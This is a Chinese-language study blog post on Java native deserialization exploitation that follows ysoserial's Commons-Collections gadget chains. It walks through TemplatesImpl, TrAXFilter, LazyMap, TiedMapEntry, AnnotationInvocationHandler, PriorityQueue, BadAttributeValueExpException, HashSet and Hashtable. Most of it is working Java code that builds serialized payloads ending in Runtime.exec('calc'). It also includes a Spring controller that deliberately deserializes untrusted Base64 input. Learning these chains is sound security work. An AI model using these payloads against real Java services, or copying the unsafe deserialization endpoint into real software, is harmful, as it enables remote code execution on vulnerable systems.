前言

Java 反序列化的第二篇,主要总结 Java 中的原生反序列化操作的安全问题。

主要跟随 ysoserial 的 7 种 payload 进行学习。


Java 原生序列化和反序列化

环境搭建

为了方便后面的反序列化漏洞利用,这次使用的是 SpringBoot 搭建测试环境,可以参考这篇文章:https://blog.csdn.net/baidu_39298625/article/details/98102453

如果模板渲染出错可能是因为没有加载 spring-boot-starter-thymeleaf,可以在 pom.xml 里面加入:

 <dependency>
     <groupId>org.springframework.boot</groupId>
     <artifactId>spring-boot-starter-thymeleaf</artifactId>
 </dependency>

下载依赖,为了后面的测试可能还需要装一个低版本的 JDK,比如 8u60:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

不知道有没有使用远程 JDK 的方法呢。

测试代码:

package com.example.unserialize.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;
import java.net.URLEncoder;

import java.io.*;

@Controller
public class indexController {
    @RequestMapping("/index")
    public String index() {
        return "index";
    }

    @RequestMapping("/serialize")
    public String serialize(Model model) throws IOException {
        serializeObject serializeobject = new serializeObject("calc.exe");
//        FileOutputStream fos = new FileOutputStream("C:/Users/19807/Desktop/serializeObject");
//        ObjectOutputStream oos = new ObjectOutputStream(fos);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(serializeobject);
        BASE64Encoder encoder = new BASE64Encoder();
        String serializedBytes = encoder.encode(bos.toByteArray());
        model.addAttribute("serializedBytes", java.net.URLEncoder.encode(serializedBytes, "UTF-8"));
        bos.close();
        oos.close();
        return "serialize";
    }

    @RequestMapping("/unserialize")
    public String unserialize(@RequestParam(value = "serializedBytes") String serializedBytes) throws IOException, ClassNotFoundException {
        BASE64Decoder decoder = new BASE64Decoder();
        byte[] data = decoder.decodeBuffer(serializedBytes);
        ByteArrayInputStream bis = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
        bis.close();
        return "unserialize";
    }
}

class serializeObject implements Serializable {
    private String cmd;
    private internalObject internalobject;
    serializeObject(String cmd) {
        this.cmd = cmd;
        internalobject = new internalObject();
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("readObject: " + cmd + internalobject.data);
    }
    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        System.out.println("writeObject: "+ cmd);
    }
}

class internalObject implements Serializable {
    String data = "Twings";
}

Java 反序列化

Java 反序列化漏洞跟 PHP 反序列化漏洞有相近之处,PHP 主要通过各种魔术方法来构成攻击链,Java 则是各种被重写后的函数,比如 toString、equals 等等。从这个角度上来思考,PHP 和 Java 的反序列化挖掘有思路共通之处,不过 PHP 可能没有 Java 那么多种类的包。

writeObject 序列化

Java 可以将对象进行序列化并保存在流中,比较常见的应该就是文件流或者字节流,可以写入到文件或者输出到终端,然后在需要用到这个对象的时候再取出进行反序列化。序列化时调用的是流对象的 writeObject 方法,在经过反射之后,会调用被序列化对象所属类所重写的 writeObject 方法,因为 writeObject 与反序列化漏洞利用无太大关系,所以不多加描述。我们将序列化数据写入到文件中来进行观察的时候可以看到类名、成员名、成员类型和值等数据。

readObject 反序列化

与序列化时的 writeObject 相似的,Java 在将字节数据反序列化为对象的时候会调用流对象的 readObject,之后则会调用被序列化对象所属类所重写的 readObject 方法,而此时如果被重写的 readObject 方法中进行了某些危险的操作,比如调用了成员或者其他地方的方法,就有可能成为反序列化漏洞利用链的入口点。

有的基于黑名单的反序列化漏洞防护就是通过重写流对象的 resolveClass 方法实现的,因为 readObject 在反序列化的过程中要用到 resolveClass 来获取反序列化后的类,所以可以在这一步对类名进行黑名单校验,比如之前 DDCTF 上见过的 SerialKiller:https://github.com/ikkisoft/SerialKiller


相关知识

动态代理

简答来说,就是用反射实现的一种代理接口的技术,开发者可以用这项技术对实现了某个接口函数的对象进行代理,在已有的函数功能上进行加装。从效果上来说,就是在你调用某个对象的函数之前,先调用给它设置好的代理对象的 invoke 函数,测试代码:

@RequestMapping("/test")
public String test() {
    originalObject originalobject = new originalObject();
    proxyObject proxyobject = new proxyObject(originalobject);
    original agent = (original)Proxy.newProxyInstance(originalobject.getClass().getClassLoader(), originalobject.getClass().getInterfaces(), proxyobject);
    agent.print();
    return "index";
}
...
interface original {
    void print();
}

class originalObject implements original, Serializable {
    public void print() {
        System.out.println("Print!");
    }
}

class proxyObject implements InvocationHandler, Serializable {
    private Object obj;
    proxyObject(Object obj) {
        this.obj = obj;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("---------before-------");
        Object invoke = method.invoke(obj, args);
        System.out.println("---------after-------");

        return invoke;
    }
}

就能看到:

---------before-------
Print!
---------after-------

而如果满足这么一种情况,类 A 的 readObject 中调用了某个成员对象的函数,而这个函数恰好是该成员对象重写的接口函数,那么我们就有机会通过 readObject 调用某个对象的 invoke 函数,修改测试代码:

@RequestMapping("/serialize")
public String serialize(Model model) throws IOException {
        originalObject originalobject = new originalObject();
        proxyObject proxyobject = new proxyObject(originalobject);
        original agent = (original)Proxy.newProxyInstance(originalobject.getClass().getClassLoader(), originalobject.getClass().getInterfaces(), proxyobject);
        serializeObject serializeobject = new serializeObject(agent);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(serializeobject);
        BASE64Encoder encoder = new BASE64Encoder();
        String serializedBytes = encoder.encode(bos.toByteArray());
        model.addAttribute("serializedBytes", java.net.URLEncoder.encode(serializedBytes, "UTF-8"));
        bos.close();
        oos.close();
        return "serialize";
}
...
class serializeObject implements Serializable {
    private original obj;
    serializeObject(original obj) {
        this.obj = obj;
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        obj.print();
    }
}

反序列化之后同样会看到 proxyObject 对象的 invoke 方法被调用了。

动态编程

简单来说,就是在 Java 里面动态修改或者新建一个类,并将它编译为字节码,用于写入硬盘成为 class 文件或者反序列化攻击达成 RCE (比如编写构造函数然后结合 JDK 中类 TemplatesImpl 进行调用)。

动态编程需要 Javassist 库,在 pom.xml 中加入:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.27.0-GA</version>
</dependency>

我们可以在 controller 下面新建一个 java 类,然后测试:

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(testJavassist.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
clazz.toClass().newInstance();
byte[] classBytes = clazz.toBytecode();
BASE64Encoder encoder = new BASE64Encoder();
String serializedBytes = encoder.encode(classBytes);
model.addAttribute("serializedBytes", java.net.URLEncoder.encode(serializedBytes, "UTF-8"));
return "serialize";

访问可以看到弹出计算器,在反序列化利用中,我们可以将要运行的代码写入类的构造函数然后配合会实例化字节码的类进行攻击。

将字节码写入文件然后使用 IDEA 反编译,我们可以看到修改后的代码:

package com.example.unserialize.controller;

public class testJavassist {
    public testJavassist() {
    }

    static {
        Object var1 = null;
        Runtime.getRuntime().exec("calc");
    }
}

Commons-collections 中的反射链类(反射链)

环境搭建

加上依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
Transform

Commons-collections 中的一个接口,下面有一个 transform 方法,反射类实现了这个接口。

InvokerTransformer

Commons-collections 中实现了 Transform 接口的 transform 方法的类:

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } 
        ...
    }
}

函数名、参数类型和参数值都是在实例化的时候传入的,构造函数如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

所以调用 transform 方法可以通过反射调用任意对象的任意方法,比如我们可以这样调用 exec:

Transformer testObject = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
testObject.transform(Runtime.getRuntime());
InstantiateTransformer

Commons-collections 中实现了 Transform 接口的 transform 方法的类,跟 InvokerTransformer 类似,不同的是这里执行的不是反射操作,而是实例化一个新的对象:

public Object transform(Object input) {
    try {
        if (!(input instanceof Class)) {
            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
        } else {
            Constructor con = ((Class)input).getConstructor(this.iParamTypes);
            return con.newInstance(this.iArgs);
        }
    } 
    ...
}

可以结合实例化时有其他可利用操作的类使用 ( 比如 TrAXFilter,使用方式在后面讲 )。

ConstantTransformer

一个特殊的 Transform 类,invoke 方法会返回一个对象:

public Object transform(Object input) {
    return this.iConstant;
}

看起来是为了方便反射链的构造,能在反射链开头引入一个对象而不是进行一次反射。

ChainedTransformer

因为一次 InvokerTransformer 只能进行一次反射,而为了开发中经常需要的链式调用,Commons-collections 中还有一个类 ChainedTransformer,顾名思义可以进行链式的反射调用,它同样实现了 Transform 接口的 transform 方法:

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

简单来说就是遍历 Transformer 数组,循环调用成员的 transform 方法,然后将执行结果作为下一次反射使用的对象。所以我们可以通过这个类配合前面的两个 Transformer 类来完成一条类似于 java.lang.Runtime.getRuntime.exec() 的反射链:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(String.class);

所以我们只要能调用到这个 ChainedTransformer 对象的 transform 方法,因为反射链的开头是 ConstantTransformer,所以无论参数是什么,我们就能达成命令执行。

Commons-Collections 3.2.1 里的 TransformedMap(setValue -> 反射链)

重写了 checkSetValue 方法,在调用 setValue 方法的时候会进行反射,反编译的代码里看不到注释,可以在这里看到方法描述:TransformedMap

/**
* Override to transform the value when using <code>setValue</code>.
* 
* @param value  the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

这个类就可以用来连接 setValue 和上面的反射链类,getChainedConstantTransformer 是获取前面 ConstantTransformer 反射链的函数:

Transformer transformerChain = getChainedConstantTransformer();
Map<String, String> map = new HashMap<>();
map.put("test", "test");
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
for (Map.Entry<String,Object> entry:transformedMap.entrySet()){
    entry.setValue(null);
}

JDK 中的 TemplatesImpl 类(RCE)

JDK 中的一个很神奇的类,里面的方法能够从字节码 class 中实例化出类来,而实例化出类来就意味着会执行类的构造函数,也就是可以执行任意代码。以前学过的 Fastjson 反序列化中就有利用这个类进行命令执行的 payload,里面的关键方法是 getOutputProperties -> newTransformer -> getTransletInstance -> newInstance() 的执行链:

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    ...
}
...
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
    TransformerImpl transformer;
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    ...
}
...
private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;
        if (_class == null) defineTransletClasses();
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        ...
    }
}

可以用动态编程写一个简单的测试 demo,javassist 要改写的原始类:

package com.example.unserialize.controller;

public class testJavassist {

}

反射设置成员变量的函数:

private void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

控制器代码:

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(testJavassist.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 要在构造函数执行的代码
clazz.makeClassInitializer().insertAfter(code); // 注入构造函数
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass); // 设置父类,绕过 superClass.getName().equals(ABSTRACT_TRANSLET)
byte[] classBytes = clazz.toBytecode();
TemplatesImpl poc = new TemplatesImpl();
setFieldValue(poc, "_bytecodes", new byte[][]{classBytes}); // 恶意类的字节码
setFieldValue(poc, "_name", "Pwn"); // 绕过 if (_name == null) return null;
setFieldValue(poc, "_tfactory", TransformerFactoryImpl.newInstance()); // 绕过 new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap())
poc.getOutputProperties();

访问即可看到弹出计算器,在后续代码中会因为 getTransletInstance 函数中 translet 对象里的 namesArray 为 null,在执行 postInitialization 函数的时候抛出一个指针错误。

JDK 中的 TrAXFilter 类(反射链 -> RCE)

一个构造函数存在可利用操作的类,这个类会调用 Templates 类型的成员的 TransformerImpl 的 newTransformer 方法:

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    ...
}

而上面讲到的 TemplatesImpl 类则是实现了 Templates 接口的类,所以我们可以通过 InstantiateTransformer 类的 invoke 方法调用 TrAXFilter 类的构造函数,进而利用 TemplatesImpl 实现代码执行,getTemplatesImpl 函数的作用就是生成前面的恶意 TemplatesImpl,getChainedInstantiateTransformer 函数生成前面的 InstantiateTransformer 反射链:

// 生成恶意TemplatesImpl
Object poc = getTemplatesImpl();
// 生成反射链
Transformer transformerChain = getChainedInstantiateTransformer(poc);
// 触发
transformerChain.transform(null);

Commons-Collections 3.2.1 中的 LazyMap 类(get -> 反射链)

Map 类的一个实现,重写了 get 方法,在 get 一个不存在的 key 的时候会执行反射操作来生成该键的值:

public Object get(Object key) {
    if (!this.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        this.map.put(key, value);
        return value;
    } else {
        return this.map.get(key);
    }
}

这个类就可以用来连接 get 和 上面的反射链类:

Transformer transformerChain = getChainedConstantTransformer();
Map<String, String> map = new HashMap<>();
map.put("Twings", "Twings");
Map transformedMap = LazyMap.decorate(map, transformerChain);
transformedMap.get("Aluvion");

Commons-Collections 3.2.1 中的 TiedMapEntry 类(toString/hashCode -> get)

一个 Map 内实体类,继承了 Map.Entry,它的 getValue 方法中调用了 map 成员的 get 方法:

public Object getValue() {
    return map.get(key);
}
...
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}
...
public String toString() {
    return getKey() + "=" + getValue();
}

所以可以结合 LazyMap 来使用:

Transformer transformerChain = getChainedConstantTransformer();
Map<String, String> map = new HashMap<>();
map.put("value", "Twings");
Map<String, Object> lazyMap = LazyMap.decorate(map, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings");
entry.getValue();

Commons-Collections 4.0 中的 TransformingComparator 类(compare -> 反射链)

大概是用来比较两个对象大小的,同样会调用 transform 方法:

/**
* Returns the result of comparing the values from the transform operation.
*
* @param obj1  the first object to transform then compare
* @param obj2  the second object to transform then compare
* @return negative if obj1 is less, positive if greater, zero if equal
*/
public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

所以也可以结合反射链使用:

Object poc = getTemplatesImpl();
Transformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(poc, 1);

Commons-Collections 3.2.1 中的 AbstractMapDecorator 类(LazyMap equals -> Map equals)

LazyMap 类继承了这个类,这里的 map 就是实例化 LazyMap 的时候传入的 map:

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

可以连接 LazyMap 类的 equals 和某个其他 Map 类的 equals。而 HashMap 则是继承了 AbstractMap 类,所以可以使用 HashMap 作为 LazyMap 的实例化参数,从而连接到 AbstractMap 类的 equals 方法。

JDK 中的 AbstractMap 类(Map equals -> get)

将该类对象与另一个对象比较时会调用另一个对象的 get 方法:

public boolean equals(Object o) {
    ...
    Map<?,?> m = (Map<?,?>) o;
    ...
    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } 
    ...
}

可以用于连接 LazyMap 的 get 方法。

JDK 低版本 AnnotationInvocationHandler 类(readObject -> setValue/entrySet、动态代理 invoke->get)

一个合格的入口类,首先重写了 readObject 方法,里面调用了成员 Map 的 entrySet 方法和 Map 中 Entry 的 setValue 方法:

AnnotationType var2 = null;

try {
    var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
    Entry var5 = (Entry)var4.next();
    String var6 = (String)var5.getKey();
    Class var7 = (Class)var3.get(var6);
    if (var7 != null) {
        Object var8 = var5.getValue();
        if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
            var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
        }
    }
}

实例化的时候需要满足一个条件:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

注意 if 判断里面的条件,var1 必须要是 Annotation 的子类且只实现了 Annotation 这一个接口,这个好说,Annotation 这个接口是所有注解类型的公用接口,所有的注解类型都继承自这个普通的接口。

通过 setValue,我们可以连接到前面的 TransformedMap,但是有个问题,要绕过 var7 != null 的判断才能到达 setValue,而 var7 来自 var2,即从 this.type 实例化的对象的 memberTypes 不能为一个空 Map,且其 key 要跟我们生成 transformedMap 时的 Map 中的 key 对得上。这个具体实例化流程我不太清楚,一个个类试过去总有可以的,这里我们使用 Retention,同时将 Map 中的 key 设置为 value,serialize 返回 URL + base64 编码后的序列化字符串:

Transformer transformerChain = getChainedConstantTransformer();
Map<String, String> map = new HashMap<>();
map.put("value", "Twings");
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Retention.class, transformedMap);
model.addAttribute("serializedBytes", serialize(annotationInvocationHandler));
return "serialize";

还有则是 invoke,调用了成员 Map 的 get 方法:

String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
    return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
    throw new AssertionError("Too many parameters for an annotation method");
} else {
    ...
    switch(var7) {
    case 0:
    return this.toStringImpl();
    case 1:
    return this.hashCodeImpl();
    case 2:
    return this.type;
    default:
    Object var6 = this.memberValues.get(var4);
    ...
    }
}

invoke 可以通过动态代理技术调用,通过 invoke 我们可以连接到 LazyMap 的 get 方法:

// invoke触发LazyMap的get方法
Transformer transformerChain = getChainedConstantTransformer();
Map<String, String> map = new HashMap<>();
map.put("value", "Twings");
Map<String, Object> lazyMap = LazyMap.decorate(map, transformerChain);
// entrySet动态代理触发invoke
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler)constructor.newInstance(Retention.class, lazyMap);
Map lazyMapProxy = (Map)Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
// readObject触发entrySet
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class, lazyMapProxy);
model.addAttribute("serializedBytes", serialize(handler));
return "serialize";

或者用 InstantiateTransformer + TrAXFilter + TemplatesImpl 也是可以的。

JDK 中的 PriorityQueue 类(readObject -> compare)

JDK 内的一个有序队列类,反序列化时会使用排序器来进行排序:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}
...
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}
...
private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}
...
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

所以可以结合前面的 TransformingComparator 这个排序器来使用:

private Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    return field.get(obj);
}
...
Object poc = getTemplatesImpl();
Transformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(transformer, "iMethodName", "newTransformer");
Object[] queue = (Object[])getFieldValue(priorityQueue, "queue");
queue[0] = poc;
queue[1] = 1;
model.addAttribute("serializedBytes", serialize(priorityQueue));
return "serialize";

生成 payload 的时候要使用反射来生成,因为有两个坑,第一个是需要用反射设置排序器的反射方法,因为在用 add 向队列里添加成员的时候,为了保持队列的顺序性会调用排序器进行排序,所以如果在排序器里设置的反射方法是 newTransformer,就会因为另一个成员没有 newTransformer 方法而报错。

第二个坑则是要用反射设置队列的成员,如果直接用 add 添加恶意 TemplatesImpl 对象,就会导致顺序上的问题,在反序列化的时候 TemplatesImpl 对象会在后面,当执行到:

final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);

的时候,同样会因为另一个成员没有 newTransformer 方法而报错。

高版本 JDK 中的 BadAttributeValueExpException 类(readObject -> toString)

readObject 在 System.getSecurityManager() == null 条件下会调用 toString:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
    val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
        || valObj instanceof Long
        || valObj instanceof Integer
        || valObj instanceof Float
        || valObj instanceof Double
        || valObj instanceof Byte
        || valObj instanceof Short
        || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

所以可以连接 TiedMapEntry:

Transformer poc = getChainedConstantTransformer();
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, poc);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings");
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
setFieldValue(obj, "val", entry);
model.addAttribute("serializedBytes", serialize(obj));
return "serialize";

JDK 中的 HashSet 类(readObject -> hashCode)

它的 raedObject 可以调用 HashMap 的 put 方法:

map = (((HashSet<?>)this) instanceof LinkedHashSet ?
       new LinkedHashMap<E,Object>(capacity, loadFactor) :
       new HashMap<E,Object>(capacity, loadFactor));

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
    @SuppressWarnings("unchecked")
    E e = (E) s.readObject();
    map.put(e, PRESENT);
}

而在 HashMap 的 put 方法中,会有 hash -> hashCode 的调用,所以可以用来连接 TiedMapEntry:

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}
...
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

仔细观察我们会发现,hash 方法调用的是 key 的 hashCode 方法,所以我们生成 payload 的时候要将 TiedMapEntry 放在 key 中。在生成 payload 之前,我们先来理一下 HashSet 的数据存放方式,在我们调用 HashSet 的 add 方法插入数据的时候:

public boolean add(E e) {
    return map.put(e, PRESENT)==null;
}

实际上是将数据插入到了成员 map 中,在我们的需要中 map 是一个 HashMap,所以下一步就是 HashMap 的 put 方法,然后就到了 putVal 方法:

    final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        ...
    }

很明显最后存放数据的是 Node 结构:

static class Node<K,V> implements Map.Entry<K,V> {
    final int hash;
    final K key;
    V value;
    Node<K,V> next;
    ...
}

这里有一点需要注意,如果我们直接使用 add 给 HashSet 添加恶意 key,add 方法最后也会走到 LazyMap 的 get 方法,导致 LazyMap 调用反射为这个不存在的 key 赋值,在反序列化的时候就会因为 key 已存在而无法反射。

所以我们生成 payload 的时候需要 remove 掉这个 key:

Transformer poc = getChainedConstantTransformer();
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, poc);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings");
HashSet hashSet = new HashSet(1);
hashSet.add(entry);
lazyMap.remove("Twings");
model.addAttribute("serializedBytes", serialize(hashSet));
return "serialize";

或者直接用套娃反射来生成:

Transformer poc = getChainedConstantTransformer();
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, poc);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings");
HashSet hashSet = new HashSet(1);
hashSet.add("Aluvion");
Object hashSetMap = getFieldValue(hashSet, "map");
Object[] hashMapTable = (Object[])getFieldValue(hashSetMap, "table");
Object hashMapNode = hashMapTable[0];
Field nodeKey = hashMapNode.getClass().getDeclaredField("key");
nodeKey.setAccessible(true);
nodeKey.set(hashMapNode, entry);
model.addAttribute("serializedBytes", serialize(hashSet));
return "serialize";

JDK 中的 HashTable 类(readObject -> LazyMap equals)

readObject 方法中将一堆堆 key 和 value 放进 table 里面:

...
for (; elements > 0; elements--) {
    @SuppressWarnings("unchecked")
    K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
    V value = (V)s.readObject();
    // sync is eliminated for performance
    reconstitutionPut(table, key, value);
}
...

然后在插入哈希表的时候,会进行比较,确保 key 不会重复:

// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
    }
}

所以可以在 HashTable 中存放两个 LazyMap,他们的 hashCode 相同,就可以触发这里的 equals,生成哈希的流程比较复杂,这里就不研究了:

// AbstractMap
public int hashCode() {
    int h = 0;
    Iterator<Entry<K,V>> i = entrySet().iterator();
    while (i.hasNext())
        h += i.next().hashCode();
    return h;
}
...
// Node
public final int hashCode() {
    return Objects.hashCode(key) ^ Objects.hashCode(value);
}
...
// Objects
public static int hashCode(Object o) {
    return o != null ? o.hashCode() : 0;
}
...
// String
public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

equals 可以连接到前面的 AbstractMapDecorator 的 equals,所以可以构建出整条反序列化链:

Transformer poc = getChainedConstantTransformer();
Map map1 = new HashMap();
Map map2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(map1, poc);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(map2, poc);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
model.addAttribute("serializedBytes", serialize(hashtable));
return "serialize";

需要注意的是生成 payload 的时候的 put 函数同样会触发 equals,最后走到 LazyMap 的 get 方法,从而导致前面 HashSet 时说过的 LazyMap 调用反射为这个不存在的 key 赋值的问题。


以后可能会写的其他反射链

CommonsBeanutils1

依赖要求比较多,流程跟前面的 PriorityQueue -> TransformingComparator 类似,暂时不研究。


参考文章:

https://p0sec.net/index.php/archives/121/

https://www.freebuf.com/articles/web/214096.html

https://blog.csdn.net/u012326462/article/details/81293186

https://www.cnblogs.com/tr1ple/p/12201553.html

